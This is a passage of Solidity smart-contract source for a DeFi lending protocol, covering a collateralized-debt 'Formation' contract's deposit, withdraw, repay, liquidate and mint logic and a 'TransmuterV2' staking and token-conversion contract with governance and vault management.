deposit(uint256 _amount) external nonReentrant noContractAllowed expectInitialized { require(!emergencyExit, "emergency pause enabled"); CDP.Data storage _cdp = _cdps[msg.sender]; _cdp.update(_ctx); token.safeTransferFrom(msg.sender, address(this), _amount); if (_amount >= flushActivator) { flushActiveVault(); } totalDeposited = totalDeposited.add(_amount); _cdp.totalDeposited = _cdp.totalDeposited.add(_amount); _cdp.lastDeposit = block.number; emit TokensDeposited(msg.sender, _amount); } /// @dev Attempts to withdraw part of a CDP's collateral. /// /// This function reverts if a deposit into the CDP was made in the same block. This is to prevent flash loan attacks /// on other internal or external systems. /// /// @param _amount the amount of collateral to withdraw. function withdraw(uint256 _amount) external nonReentrant noContractAllowed expectInitialized returns (uint256, uint256) { CDP.Data storage _cdp = _cdps[msg.sender]; require(block.number > _cdp.lastDeposit, ""); _cdp.update(_ctx); (uint256 _withdrawnAmount, uint256 _decreasedValue) = _withdrawFundsTo(msg.sender, _amount); _cdp.totalDeposited = _cdp.totalDeposited.sub(_decreasedValue, "Exceeds withdrawable amount"); _cdp.checkHealth(_ctx, "Action blocked: unhealthy collateralization ratio"); emit TokensWithdrawn(msg.sender, _amount, _withdrawnAmount, _decreasedValue); return (_withdrawnAmount, _decreasedValue); } /// @dev Repays debt with the native and or synthetic token. /// /// An approval is required to transfer native tokens to the transmuter. function repay(uint256 _parentAmount, uint256 _childAmount) external nonReentrant noContractAllowed onLinkCheck expectInitialized { CDP.Data storage _cdp = _cdps[msg.sender]; _cdp.update(_ctx); if (_parentAmount > 0) { token.safeTransferFrom(msg.sender, address(this), _parentAmount); _distributeToTransmuter(_parentAmount); } if (_childAmount > 0) { xtoken.burnFrom(msg.sender, _childAmount); //lower debt cause burn xtoken.lowerHasMinted(_childAmount); } uint256 _totalAmount = _parentAmount.add(_childAmount); _cdp.totalDebt = _cdp.totalDebt.sub(_totalAmount, ""); emit TokensRepaid(msg.sender, _parentAmount, _childAmount); } /// @dev Attempts to liquidate part of a CDP's collateral to pay back its debt. /// /// @param _amount the amount of collateral to attempt to liquidate. function liquidate(uint256 _amount) external nonReentrant noContractAllowed onLinkCheck expectInitialized returns (uint256, uint256) { CDP.Data storage _cdp = _cdps[msg.sender]; _cdp.update(_ctx); // don't attempt to liquidate more than is possible if (_amount > _cdp.totalDebt) { _amount = _cdp.totalDebt; } (uint256 _withdrawnAmount, uint256 _decreasedValue) = _withdrawFundsTo(address(this), _amount); //changed to new transmuter compatibillity _distributeToTransmuter(_withdrawnAmount); _cdp.totalDeposited = _cdp.totalDeposited.sub(_decreasedValue, ""); _cdp.totalDebt = _cdp.totalDebt.sub(_withdrawnAmount, ""); emit TokensLiquidated(msg.sender, _amount, _withdrawnAmount, _decreasedValue); return (_withdrawnAmount, _decreasedValue); } /// @dev Mints synthetic tokens by either claiming credit or increasing the debt. /// /// Claiming credit will take priority over increasing the debt. /// /// This function reverts if the debt is increased and the CDP health check fails. /// /// @param _amount the amount of formation tokens to borrow. function mint(uint256 _amount) external nonReentrant noContractAllowed onLinkCheck expectInitialized { CDP.Data storage _cdp = _cdps[msg.sender]; _cdp.update(_ctx); uint256 _totalCredit = _cdp.totalCredit; if (_totalCredit < _amount) { uint256 _remainingAmount = _amount.sub(_totalCredit); _cdp.totalDebt = _cdp.totalDebt.add(_remainingAmount); _cdp.totalCredit = 0; _cdp.checkHealth(_ctx, "Formation: Loan-to-value ratio breached"); } else { _cdp.totalCredit = _totalCredit.sub(_amount); } xtoken.mint(msg.sender, _amount); } /// @dev Gets the number of vaults in the vault list. /// /// @return the vault count. function vaultCount() external view returns (uint256) { return _vaults.length(); } /// @dev Get the adapter of a vault. /// /// @param _vaultId the identifier of the vault. /// /// @return the vault adapter. function getVaultAdapter(uint256 _vaultId) external view returns (IVaultAdapter) { Vault.Data storage _vault = _vaults.get(_vaultId); return _vault.adapter; } /// @dev Get the total amount of the parent asset that has been deposited into a vault. /// /// @param _vaultId the identifier of the vault. /// /// @return the total amount of deposited tokens. function getVaultTotalDeposited(uint256 _vaultId) external view returns (uint256) { Vault.Data storage _vault = _vaults.get(_vaultId); return _vault.totalDeposited; } /// @dev Get the total amount of collateral deposited into a CDP. /// /// @param _account the user account of the CDP to query. /// /// @return the deposited amount of tokens. function getCdpTotalDeposited(address _account) external view returns (uint256) { CDP.Data storage _cdp = _cdps[_account]; return _cdp.totalDeposited; } /// @dev Get the total amount of formation tokens borrowed from a CDP. /// /// @param _account the user account of the CDP to query. /// /// @return the borrowed amount of tokens. function getCdpTotalDebt(address _account) external view returns (uint256) { CDP.Data storage _cdp = _cdps[_account]; return _cdp.getUpdatedTotalDebt(_ctx); } /// @dev Get the total amount of credit that a CDP has. /// /// @param _account the user account of the CDP to query. /// /// @return the amount of credit. function getCdpTotalCredit(address _account) external view returns (uint256) { CDP.Data storage _cdp = _cdps[_account]; return _cdp.getUpdatedTotalCredit(_ctx); } /// @dev Gets the last recorded block of when a user made a deposit into their CDP. /// /// @param _account the user account of the CDP to query. /// /// @return the block number of the last deposit. function getCdpLastDeposit(address _account) external view returns (uint256) { CDP.Data storage _cdp = _cdps[_account]; return _cdp.lastDeposit; } /// @dev sends tokens to the transmuter /// /// benefit of great nation of transmuter function _distributeToTransmuter(uint256 amount) internal { require(token.approve(transmuter, amount), "Formation: failed to approve tokens"); ITransmuter(transmuter).distribute(address(this), amount); // lower debt cause of 'burn' xtoken.lowerHasMinted(amount); } /// @dev Checks that parent token is on peg. /// /// This is used over a modifier limit of pegged interactions. modifier onLinkCheck() { if (pegMinimum > 0) { (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound) = IChainlink(_linkGasOracle).latestRoundData(); require(updatedAt > 0, "Round not complete"); require(block.timestamp <= updatedAt.add(oracleUpdateDelay), "Update time exceeded"); require(uint256(answer) > pegMinimum, "off peg limitation"); } _; } /// @dev Checks that caller is an eoa. /// /// This is used to prevent contracts from interacting. modifier noContractAllowed() { require(!address(msg.sender).isContract() && msg.sender == tx.origin, "Sorry we do not accept contract!"); _; } /// @dev Checks that the contract is in an initialized state. /// /// This is used over a modifier to reduce the size of the contract modifier expectInitialized() { require(initialized, "Formation: not initialized."); _; } /// @dev Checks that the current message sender or caller is the governance address. /// /// modifier onlyGov() { require(msg.sender == governance, "Formation: only governance."); _; } /// @dev Updates the active vault. /// /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized. /// /// @param _adapter the adapter for the new active vault. function _updateActiveVault(IVaultAdapter _adapter) internal { require(_adapter != IVaultAdapter(ZERO_ADDRESS), "Formation: active vault address cannot be 0x0."); require(_adapter.token() == token, "Formation: token mismatch."); require(!adapters[_adapter], "Adapter already in use"); adapters[_adapter] = true; _vaults.push(Vault.Data({adapter: _adapter, totalDeposited: 0})); emit ActiveVaultUpdated(_adapter); } /// @dev Recalls an amount of funds from a vault to this contract. /// /// @param _vaultId the identifier of the recall funds from. /// @param _amount the amount of funds to recall from the vault. /// /// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value. function _recallFunds(uint256 _vaultId, uint256 _amount) internal returns (uint256, uint256) { require(emergencyExit || msg.sender == governance || _vaultId != _vaults.lastIndex(), "Formation: not an emergency, not governance, and user does not have permission to recall funds from active vault"); Vault.Data storage _vault = _vaults.get(_vaultId); (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdraw(address(this), _amount); emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue); return (_withdrawnAmount, _decreasedValue); } /// @dev Attempts to withdraw funds from the active vault to the recipient. /// /// Funds will be first withdrawn from this contracts balance and then from the active vault. This function /// is different from `recallFunds` in that it reduces the total amount of deposited tokens by the decreased /// value of the vault. /// /// @param _recipient the account to withdraw the funds to. /// @param _amount the amount of funds to withdraw. function _withdrawFundsTo(address _recipient, uint256 _amount) internal returns (uint256, uint256) { // Pull the funds from the buffer. uint256 _bufferedAmount = Math.min(_amount, token.balanceOf(address(this))); if (_recipient != address(this)) { token.safeTransfer(_recipient, _bufferedAmount); } uint256 _totalWithdrawn = _bufferedAmount; uint256 _totalDecreasedValue = _bufferedAmount; uint256 _remainingAmount = _amount.sub(_bufferedAmount); // Pull the remaining funds from the active vault. if (_remainingAmount > 0) { Vault.Data storage _activeVault = _vaults.last(); (uint256 _withdrawAmount, uint256 _decreasedValue) = _activeVault.withdraw(_recipient, _remainingAmount); _totalWithdrawn = _totalWithdrawn.add(_withdrawAmount); _totalDecreasedValue = _totalDecreasedValue.add(_decreasedValue); } totalDeposited = totalDeposited.sub(_totalDecreasedValue); return (_totalWithdrawn, _totalDecreasedValue); } } pragma solidity 0.6.12; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "./interfaces/IERC20Burnable.sol"; import {VaultV2} from "./libraries/formation/VaultV2.sol"; import {ITransmuter} from "./interfaces/ITransmuter.sol"; import {IVaultAdapterV2} from "./interfaces/IVaultAdapterV2.sol"; contract TransmuterV2 is Context { using SafeMath for uint256; using SafeERC20 for IERC20Burnable; using Address for address; using VaultV2 for VaultV2.Data; using VaultV2 for VaultV2.List; address public constant ZERO_ADDRESS = address(0); uint256 public TRANSMUTATION_PERIOD; address public NToken; address public Token; mapping(address => uint256) public depositedNTokens; mapping(address => uint256) public tokensInBucket; mapping(address => uint256) public realisedTokens; mapping(address => uint256) public lastDividendPoints; mapping(address => bool) public userIsKnown; mapping(uint256 => address) public userList; uint256 public nextUser; uint256 public totalSupplyNtokens; uint256 public buffer; uint256 public lastDepositBlock; ///@dev values needed to calculate the distribution of base asset in proportion for nTokens staked uint256 public pointMultiplier = 10e18; uint256 public totalDividendPoints; uint256 public unclaimedDividends; uint256 public USDT_CONST; /// @dev formation addresses whitelisted mapping(address => bool) public whiteList; /// @dev addresses whitelisted to run keepr jobs (harvest) mapping(address => bool) public keepers; /// @dev mapping of user account to the last block they acted mapping(address => uint256) public lastUserAction; /// @dev number of blocks to delay between allowed user actions uint256 public minUserActionDelay; /// @dev The threshold above which excess funds will be deployed to yield farming activities uint256 public plantableThreshold = 100000000000000000000000; /// @dev The % margin to trigger planting or recalling of funds uint256 public plantableMargin = 10; /// @dev The address of the account which currently has administrative capabilities over this contract. address public governance; /// @dev The address of the pending governance. address public pendingGovernance; /// @dev The address of the account which can perform emergency activities address public sentinel; /// @dev A flag indicating if deposits and flushes should be halted and if all parties should be able to recall /// from the active vault. bool public pause; /// @dev A flag indicating if the contract has been initialized yet. bool public initialized; /// @dev The address of the contract which will receive fees. address public rewards; /// @dev A mapping of adapter addresses to keep track of vault adapters that have already been added mapping(IVaultAdapterV2 => bool) public adapters; /// @dev A list of all of the vaults. The last element of the list is the vault that is currently being used for /// deposits and withdraws. VaultV2s before the last element are considered inactive and are expected to be cleared. VaultV2.List private _vaults; event GovernanceUpdated(address governance); event PendingGovernanceUpdated(address pendingGovernance); event SentinelUpdated(address sentinel); event TransmuterPeriodUpdated(uint256 newTransmutationPeriod); event TokenClaimed(address claimant, address token, uint256 amountClaimed); event NUsdStaked(address staker, uint256 amountStaked); event NUsdUnstaked(address staker, uint256 amountUnstaked); event Transmutation(address transmutedTo, uint256 amountTransmuted); event ForcedTransmutation(address transmutedBy, address transmutedTo, uint256 amountTransmuted); event Distribution(address origin, uint256 amount); event WhitelistSet(address whitelisted, bool state); event KeepersSet(address[] keepers, bool[] states); event PlantableThresholdUpdated(uint256 plantableThreshold); event PlantableMarginUpdated(uint256 plantableMargin); event ActiveVaultUpdated(IVaultAdapterV2 indexed adapter); event PauseUpdated(bool status); event FundsRecalled(uint256 indexed vaultId, uint256 withdrawnAmount, uint256 decreasedValue); event FundsHarvested(uint256 withdrawnAmount, uint256 decreasedValue); event RewardsUpdated(address treasury); event MigrationComplete(address migrateTo, uint256 fundsMigrated); event MinUserActionDelayUpdated(uint256 minUserActionDelay); constructor( address _NToken, address _Token, address _governance ) public { require(_governance != ZERO_ADDRESS, "Transmuter: 0 gov"); require(IERC20Burnable(_Token).decimals() <= IERC20Burnable(_NToken).decimals(), "Transmuter: xtoken decimals should be larger than token decimals"); USDT_CONST = uint256(10)**(uint256(IERC20Burnable(_NToken).decimals()).sub(uint256(IERC20Burnable(_Token).decimals()))); governance = _governance; NToken = _NToken; Token = _Token; TRANSMUTATION_PERIOD = 10000; minUserActionDelay = 1; } ///@return displays the user's share of the pooled nTokens. function dividendsOwing(address account) public view returns (uint256) { uint256 newDividendPoints = totalDividendPoints.sub(lastDividendPoints[account]); return depositedNTokens[account].mul(newDividendPoints).div(pointMultiplier); } ///@dev modifier to fill the bucket and keep bookkeeping correct incase of increase/decrease in shares modifier updateAccount(address account) { uint256 owing = dividendsOwing(account); if (owing > 0) { unclaimedDividends = unclaimedDividends.sub(owing); tokensInBucket[account] = tokensInBucket[account].add(owing); } lastDividendPoints[account] = totalDividendPoints; _; } ///@dev modifier add users to userlist. Users are indexed in order to keep track of when a bond has been filled modifier checkIfNewUser() { if (!userIsKnown[msg.sender]) { userList[nextUser] = msg.sender; userIsKnown[msg.sender] = true; nextUser++; } _; } ///@dev run the phased distribution of the buffered funds modifier runPhasedDistribution() { uint256 _lastDepositBlock = lastDepositBlock; uint256 _currentBlock = block.number; uint256 _toDistribute = 0; uint256 _buffer = buffer; // check if there is something in bufffer if (_buffer > 0) { // NOTE: if last deposit was updated in the same block as the current call // then the below logic gates will fail //calculate diffrence in time uint256 deltaTime = _currentBlock.sub(_lastDepositBlock); // distribute all if bigger than timeframe if (deltaTime >= TRANSMUTATION_PERIOD) { _toDistribute = _buffer; } else { //needs to be bigger than 0 cuzz solidity no decimals if (_buffer.mul(deltaTime) > TRANSMUTATION_PERIOD) { _toDistribute = _buffer.mul(deltaTime).div(TRANSMUTATION_PERIOD); } } // factually allocate if any needs distribution if (_toDistribute > 0) { // remove from buffer buffer = _buffer.sub(_toDistribute); // increase the allocation increaseAllocations(_toDistribute); } } // current timeframe is now the last lastDepositBlock = _currentBlock; _; } /// @dev A modifier which checks if whitelisted for minting. modifier onlyWhitelisted() { require(whiteList[msg.sender], "Transmuter: !whitelisted"); _; } /// @dev A modifier which checks if caller is a keepr. modifier onlyKeeper() { require(keepers[msg.sender], "Transmuter: !keeper"); _; } /// @dev Checks that the current message sender or caller is the governance address. /// /// modifier onlyGov() { require(msg.sender == governance, "Transmuter: !governance"); _; } /// @dev checks that the block delay since a user's last action is longer than the minium delay /// modifier ensureUserActionDelay() { require(block.number.sub(lastUserAction[msg.sender]) >= minUserActionDelay, "action delay not met"); lastUserAction[msg.sender] = block.number; _; } ///@dev set the TRANSMUTATION_PERIOD variable /// /// sets the length (in blocks) of one full distribution phase function setTransmutationPeriod(uint256 newTransmutationPeriod) public onlyGov { require(newTransmutationPeriod > 0, "Transmuter: transmutation period cannot be 0"); TRANSMUTATION_PERIOD = newTransmutationPeriod; emit TransmuterPeriodUpdated(TRANSMUTATION_PERIOD); } /// @dev Sets the minUserActionDelay /// /// This function reverts if the caller is not the current governance. /// /// @param _minUserActionDelay the new min user action delay. function setMinUserActionDelay(uint256 _minUserActionDelay) external onlyGov() { minUserActionDelay = _minUserActionDelay; emit MinUserActionDelayUpdated(_minUserActionDelay); } ///@dev claims the base token after it has been transmuted /// ///This function reverts if there is no realisedToken balance function claim() public { address sender = msg.sender; require(realisedTokens[sender] > 0, "no realisedToken balance for sender"); uint256 value = realisedTokens[sender]; realisedTokens[sender] = 0; ensureSufficientFundsExistLocally(value); IERC20Burnable(Token).safeTransfer(sender, value); emit TokenClaimed(sender, Token, value); } ///@dev Withdraws staked nTokens from the transmuter /// /// This function reverts if you try to draw more tokens than you deposited /// ///@param amount the amount of nTokens to unstake function unstake(uint256 amount) public updateAccount(msg.sender) { // by calling this function before transmuting you forfeit your gained allocation address sender = msg.sender; // normalize amount to fit the digit of token amount = amount.div(USDT_CONST).mul(USDT_CONST); require(depositedNTokens[sender] >= amount, "Transmuter: unstake amount exceeds deposited amount"); depositedNTokens[sender] = depositedNTokens[sender].sub(amount); totalSupplyNtokens = totalSupplyNtokens.sub(amount); IERC20Burnable(NToken).safeTransfer(sender, amount); emit NUsdUnstaked(sender, amount); } ///@dev Deposits nTokens into the transmuter /// ///@param amount the amount of nTokens to stake function stake(uint256 amount) public ensureUserActionDelay runPhasedDistribution updateAccount(msg.sender) checkIfNewUser { require(!pause, "emergency pause enabled"); // requires approval of NToken first address sender = msg.sender; // normalize amount to fit the digit of token amount = amount.div(USDT_CONST).mul(USDT_CONST); //require tokens transferred in; IERC20Burnable(NToken).safeTransferFrom(sender, address(this), amount); totalSupplyNtokens = totalSupplyNtokens.add(amount); depositedNTokens[sender] = depositedNTokens[sender].add(amount); emit NUsdStaked(sender, amount); } /// @dev Converts the staked nTokens to the base tokens in amount of the sum of pendingdivs and tokensInBucket /// /// once the NToken has been converted, it is burned, and the base token becomes realisedTokens which can be recieved using claim() /// /// reverts if there are no pendingdivs or tokensInBucket function transmute() public ensureUserActionDelay runPhasedDistribution updateAccount(msg.sender) { address sender = msg.sender; uint256 pendingz_USDT; uint256 pendingz = tokensInBucket[sender]; uint256 diff; require(pendingz > 0, "need to have pending in bucket"); tokensInBucket[sender] = 0; // check bucket overflow if (pendingz.mul(USDT_CONST) > depositedNTokens[sender]) { diff = pendingz.mul(USDT_CONST).sub(depositedNTokens[sender]); // remove overflow pendingz = depositedNTokens[sender].div(USDT_CONST); } pendingz_USDT = pendingz.mul(USDT_CONST); // decrease ntokens depositedNTokens[sender] = depositedNTokens[sender].sub(pendingz_USDT); // BURN ntokens IERC20Burnable(NToken).burn(pendingz_USDT); // adjust total totalSupplyNtokens = totalSupplyNtokens.sub(pendingz_USDT); // reallocate overflow increaseAllocations(diff.div(USDT_CONST)); // add payout realisedTokens[sender] = realisedTokens[sender].add(pendingz); emit Transmutation(sender, pendingz); } /// @dev Executes transmute() on another account that has had more base tokens allocated to it than nTokens staked. /// /// The caller of this function will have the surplus base tokens credited to their tokensInBucket balance, rewarding them for performing this action /// /// This function reverts if the address to transmute is not over-filled. /// /// @param toTransmute address of the account you will force transmute. function forceTransmute(address toTransmute) public ensureUserActionDelay runPhasedDistribution updateAccount(msg.sender) updateAccount(toTransmute) checkIfNewUser { //load into memory uint256 pendingz_USDT; uint256 pendingz = tokensInBucket[toTransmute]; // check restrictions require(pendingz.mul(USDT_CONST) > depositedNTokens[toTransmute], "Transmuter: !overflow"); // empty bucket tokensInBucket[toTransmute] = 0; // calculaate diffrence uint256 diff = pendingz.mul(USDT_CONST).sub(depositedNTokens[toTransmute]); // remove overflow pendingz = depositedNTokens[toTransmute].div(USDT_CONST); pendingz_USDT = pendingz.mul(USDT_CONST); // decrease ntokens depositedNTokens[toTransmute] = depositedNTokens[toTransmute].sub(pendingz_USDT); // BURN ntokens IERC20Burnable(NToken).burn(pendingz_USDT); // adjust total totalSupplyNtokens = totalSupplyNtokens.sub(pendingz_USDT); // reallocate overflow tokensInBucket[msg.sender] = tokensInBucket[msg.sender].add(diff.div(USDT_CONST)); // add payout realisedTokens[toTransmute] = realisedTokens[toTransmute].add(pendingz); uint256 value = realisedTokens[toTransmute]; ensureSufficientFundsExistLocally(value); // force payout of realised tokens of the toTransmute address realisedTokens[toTransmute] = 0; IERC20Burnable(Token).safeTransfer(toTransmute, value); emit ForcedTransmutation(msg.sender, toTransmute, value); } /// @dev Transmutes and unstakes all nTokens /// /// This function combines the transmute and unstake functions for ease of use function exit() public { transmute(); uint256 toWithdraw = depositedNTokens[msg.sender]; unstake(toWithdraw); } /// @dev Transmutes and claims all converted base tokens. /// /// This function combines the transmute and claim functions while leaving your remaining nTokens staked. function transmuteAndClaim() public { transmute(); claim(); } /// @dev Transmutes, claims base tokens, and withdraws nTokens. /// /// This function helps users to exit the transmuter contract completely after converting their nTokens to the base pair. function transmuteClaimAndWithdraw() public { transmute(); claim(); uint256 toWithdraw = depositedNTokens[msg.sender]; unstake(toWithdraw); } /// @dev Distributes the base token proportionally to all NToken stakers. /// /// This function is meant to be called by the Formation contract for when it is sending yield to the transmuter. /// Anyone can call this and add funds, idk why they would do that though... /// /// @param origin the account that is sending the tokens to be distributed. /// @param amount the amount of base tokens to be distributed to the transmuter. function distribute(address origin, uint256 amount) public onlyWhitelisted runPhasedDistribution { require(!pause, "emergency pause enabled"); IERC20Burnable(Token).safeTransferFrom(origin, address(this), amount); buffer = buffer.add(amount); _plantOrRecallExcessFunds(); emit Distribution(origin, amount); } /// @dev Allocates the incoming yield proportionally to all NToken stakers. /// /// @param amount the amount of base tokens to be distributed in the transmuter. function increaseAllocations(uint256 amount) internal { if (totalSupplyNtokens > 0 && amount > 0) { totalDividendPoints = totalDividendPoints.add(amount.mul(pointMultiplier).div(totalSupplyNtokens)); unclaimedDividends = unclaimedDividends.add(amount); } else { buffer = buffer.add(amount); } } /// @dev Gets the status of a user's staking position. /// /// The total amount allocated to a user is the sum of pendingdivs and inbucket. /// /// @param user the address of the user you wish to query. /// /// returns user status function userInfo(address user) public view returns ( uint256 depositedN, uint256 pendingdivs, uint256 inbucket, uint256 realised ) { uint256 _depositedN = depositedNTokens[user]; uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(TRANSMUTATION_PERIOD); if (block.number.sub(lastDepositBlock) > TRANSMUTATION_PERIOD) { _toDistribute = buffer; } uint256 _pendingdivs = _toDistribute.mul(depositedNTokens[user]).div(totalSupplyNtokens); uint256 _inbucket = tokensInBucket[user].add(dividendsOwing(user)); uint256 _realised = realisedTokens[user]; return (_depositedN, _pendingdivs, _inbucket, _realised); } /// @dev Gets the status of multiple users in one call /// /// This function is used to query the contract to check for /// accounts that have overfilled positions in order to check /// who can be force transmuted. /// /// @param from the first index of the userList /// @param to the last index of the userList /// /// returns the userList with their staking status in paginated form. function getMultipleUserInfo(uint256 from, uint256 to) public view returns (address[] memory theUserList, uint256[] memory theUserData) { uint256 i = from; uint256 delta = to - from; address[] memory _theUserList = new address[](delta); //user uint256[] memory _theUserData = new uint256[](delta * 2); //deposited-bucket uint256 y = 0; uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(TRANSMUTATION_PERIOD); if (block.number.sub(lastDepositBlock) > TRANSMUTATION_PERIOD) { _toDistribute = buffer; } for (uint256 x = 0; x < delta; x += 1) { _theUserList[x] = userList[i]; _theUserData[y] = depositedNTokens[userList[i]]; _theUserData[y + 1] = dividendsOwing(userList[i]).add(tokensInBucket[userList[i]]).add(_toDistribute.mul(depositedNTokens[userList[i]]).div(totalSupplyNtokens)); y += 2; i += 1; } return (_theUserList, _theUserData); } /// @dev Gets info on the buffer /// /// This function is used to query the contract to get the /// latest state of the buffer /// /// @return _toDistribute the amount ready to be distributed /// @return _deltaBlocks the amount of time since the last phased distribution /// @return _buffer the amount in the buffer function bufferInfo() public view returns ( uint256 _toDistribute, uint256 _deltaBlocks, uint256 _buffer ) { _deltaBlocks = block.number.sub(lastDepositBlock); _buffer = buffer; _toDistribute = _buffer.mul(_deltaBlocks).div(TRANSMUTATION_PERIOD); } /// @dev Sets the pending governance. /// /// This function reverts if the new pending governance is the zero address or the caller is not the current /// governance. This is to prevent the contract governance being set to the zero address which would deadlock /// privileged contract functionality. /// /// @param _pendingGovernance the new pending governance. function setPendingGovernance(address _pendingGovernance) external onlyGov { require(_pendingGovernance != ZERO_ADDRESS, "Transmuter: 0 gov"); pendingGovernance = _pendingGovernance; emit PendingGovernanceUpdated(_pendingGovernance); } /// @dev Accepts the role as governance. /// /// This function reverts if the caller is not the new pending governance. function acceptGovernance() external { require(msg.sender == pendingGovernance, "!pendingGovernance"); governance = pendingGovernance; emit GovernanceUpdated(pendingGovernance); } /// @dev Sets the whitelist /// /// This function reverts if the caller is not governance /// /// @param _toWhitelist the account to mint tokens to. /// @param _state the whitelist state. function setWhitelist(address _toWhitelist, bool _state) external onlyGov { whiteList[_toWhitelist] = _state; emit WhitelistSet(_toWhitelist, _state); } /// @dev Sets the keeper list /// /// This function reverts if the caller is not governance /// /// @param _keepers the accounts to set states for. /// @param _states the accounts states. function setKeepers(address[] calldata _keepers, bool[] calldata _states) external onlyGov { uint256 n = _keepers.length; for (uint256 i = 0; i < n; i++) { keepers[_keepers[i]] = _states[i]; } emit KeepersSet(_keepers, _states); } /// @dev Initializes the contract. /// /// This function checks that the transmuter and rewards have been set and sets up the active vault. /// /// @param _adapter the vault adapter of the active vault. function initialize(IVaultAdapterV2 _adapter) external onlyGov { require(!initialized, "Transmuter: already initialized"); require(rewards != ZERO_ADDRESS, "Transmuter: reward address should not be 0x0"); _updateActiveVault(_adapter); initialized = true; } /// @dev Migrates the system to a new vault. /// /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized. /// /// @param _adapter the adapter for the vault the system will migrate to. function migrate(IVaultAdapterV2 _adapter) external onlyGov { require(initialized, "Transmuter: not initialized."); _updateActiveVault(_adapter); } /// @dev Updates the active vault. /// /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized. /// /// @param _adapter the adapter for the new active vault. function _updateActiveVault(IVaultAdapterV2 _adapter) internal { require(address(_adapter) != address(0), "Transmuter: active vault address cannot be 0x0."); require(address(_adapter.token()) == Token, "Transmuter.vault: token mismatch."); require(!adapters[_adapter], "Adapter already in use"); adapters[_adapter] = true; _vaults.push(VaultV2.Data({adapter: _adapter, totalDeposited: 0})); emit ActiveVaultUpdated(_adapter); } /// @dev Gets the number of vaults in the vault list. /// /// @return the vault count. function vaultCount() external view returns (uint256) { return _vaults.length(); } /// @dev Get the adapter of a vault. /// /// @param _vaultId the identifier of the vault. /// /// @return the vault adapter. function getVaultAdapter(uint256 _vaultId) external view returns (address) { VaultV2.Data storage _vault = _vaults.get(_vaultId); return address(_vault.adapter); } /// @dev Get the total amount of the parent asset that has been deposited into a vault. /// /// @param _vaultId the identifier of the vault. /// /// @return the total amount of deposited tokens. function getVaultTotalDeposited(uint256 _vaultId) external view returns (uint256) { VaultV2.Data storage _vault = _vaults.get(_vaultId); return _vault.totalDeposited; } /// @dev Recalls funds from active vault if less than amt exist locally /// /// @param amt amount of funds that need to exist locally to fulfill pending request function ensureSufficientFundsExistLocally(uint256 amt) internal { uint256 currentBal = IERC20Burnable(Token).balanceOf(address(this)); if (currentBal < amt) { uint256 diff = amt - currentBal; // get enough funds from active vault to replenish local holdings & fulfill claim request _recallExcessFundsFromActiveVault(plantableThreshold.add(diff)); } } /// @dev Recalls all planted funds from a target vault /// /// @param _vaultId the id of the vault from which to recall funds function recallAllFundsFromVault(uint256 _vaultId) external { require(pause && (msg.sender == governance || msg.sender == sentinel), "Transmuter: not paused, or not governance or sentinel"); _recallAllFundsFromVault(_vaultId); } /// @dev Recalls all planted funds from a target vault /// /// @param _vaultId the id of the vault from which to recall funds function _recallAllFundsFromVault(uint256 _vaultId) internal { VaultV2.Data storage _vault = _vaults.get(_vaultId); (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdrawAll(address(this)); emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue); } /// @dev Recalls planted funds from a target vault /// /// @param _vaultId the id of the vault from which to recall funds /// @param _amount the amount of funds to recall function recallFundsFromVault(uint256 _vaultId, uint256 _amount) external { require(pause && (msg.sender == governance || msg.sender == sentinel), "Transmuter: not paused, or not governance or sentinel"); _recallFundsFromVault(_vaultId, _amount); } /// @dev Recalls planted funds from a target vault /// /// @param _vaultId the id of the vault from which to recall funds /// @param _amount the amount of funds to recall function _recallFundsFromVault(uint256 _vaultId, uint256 _amount) internal { VaultV2.Data storage _vault = _vaults.get(_vaultId); (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdraw(address(this), _amount); emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue); } /// @dev Recalls planted funds from the active vault /// /// @param _amount the amount of funds to recall function _recallFundsFromActiveVault(uint256 _amount) internal { _recallFundsFromVault(_vaults.lastIndex(), _amount); } /// @dev Plants or recalls funds from the active vault /// /// This function plants excess funds in an external vault, or recalls them from the external vault /// Should only be called as part of distribute() function _plantOrRecallExcessFunds() internal { // check if the transmuter holds more funds than plantableThreshold uint256 bal = IERC20Burnable(Token).balanceOf(address(this)); uint256 marginVal = plantableThreshold.mul(plantableMargin).div(100); if (bal > plantableThreshold.add(marginVal)) { uint256 plantAmt = bal - plantableThreshold; // if total funds above threshold, send funds to vault VaultV2.Data storage _activeVault = _vaults.last(); require(_activeVault.deposit(plantAmt) == plantAmt, "Transmuter: deposit amount should be equal"); } else if (bal < plantableThreshold.sub(marginVal)) { // if total funds below threshold, recall funds from vault // first check that there are enough funds in vault uint256 harvestAmt = plantableThreshold - bal; _recallExcessFundsFromActiveVault(harvestAmt); } } /// @dev Recalls up to the harvestAmt from the active vault /// /// This function will recall less than harvestAmt if only less is available /// /// @param _recallAmt the amount to harvest from the active vault function _recallExcessFundsFromActiveVault(uint256 _recallAmt) internal { VaultV2.Data storage _activeVault = _vaults.last(); uint256 activeVaultVal = _activeVault.totalDeposited; if (activeVaultVal < _recallAmt) { _recallAmt = activeVaultVal; } if (_recallAmt > 0) { _recallFundsFromActiveVault(_recallAmt); } } /// @dev Sets the address of the sentinel /// /// @param _sentinel address of the new sentinel function setSentinel(address _sentinel) external onlyGov { require(_sentinel != ZERO_ADDRESS, "Transmuter: sentinel address cannot be 0x0."); sentinel = _sentinel; emit SentinelUpdated(_sentinel); } /// @dev Sets the threshold of total held funds above which excess funds will be planted in yield farms. /// /// This function reverts if the caller is not the current governance. /// /// @param _plantableThreshold the new 